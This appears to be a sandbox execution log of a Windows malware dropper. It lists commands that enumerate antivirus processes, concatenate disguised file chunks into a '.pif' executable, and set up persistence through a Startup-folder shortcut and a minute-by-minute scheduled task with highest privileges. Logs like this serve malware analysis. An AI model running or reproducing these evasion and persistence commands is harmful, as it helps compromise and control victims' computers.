TapiUnattend.exe TapiUnattend.exe
2120findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
2300tasklist.exe tasklist
2264tasklist.exe tasklist
2408findstr.exe findstr /I "wrsa.exe"
2444cmd.exe cmd /c md 15012
2524cmd.exe cmd /c copy /b Firefox + Jerusalem + Scales + Penny + Refund 15012\Carpet.pif
2572cmd.exe cmd /c copy /b Boring + Campus 15012\u
2620Carpet.pif 15012\Carpet.pif 15012\u
2664PING.EXE ping -n 5 localhost
2828cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VitaFit.url" & echo URL="C:\Users\test22\AppData\Local\VitalNourish Technologies Inc\VitaFit.js" >> "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VitaFit.url" & exit
2756cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "jsc" /sc MINUTE /tr "C:\Users\test22\AppData\Local\RobloxSecurity\jsc.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\15012\jsc.exe" &&START "" "C:\Users\test22\AppData\Local\RobloxSecurity\jsc.exe"
2412chcp.com chcp 65001
2612timeout.exe timeout /t 3
2684schtasks.exe schtasks /create /tn "jsc" /sc MINUTE /tr "C:\Users\test22\AppData\Local\RobloxSecurity\jsc.exe" /rl HIGHEST /f
2784jsc.exe "C:\Users\test22\AppData\Local\RobloxSecurity\jsc.exe"
2856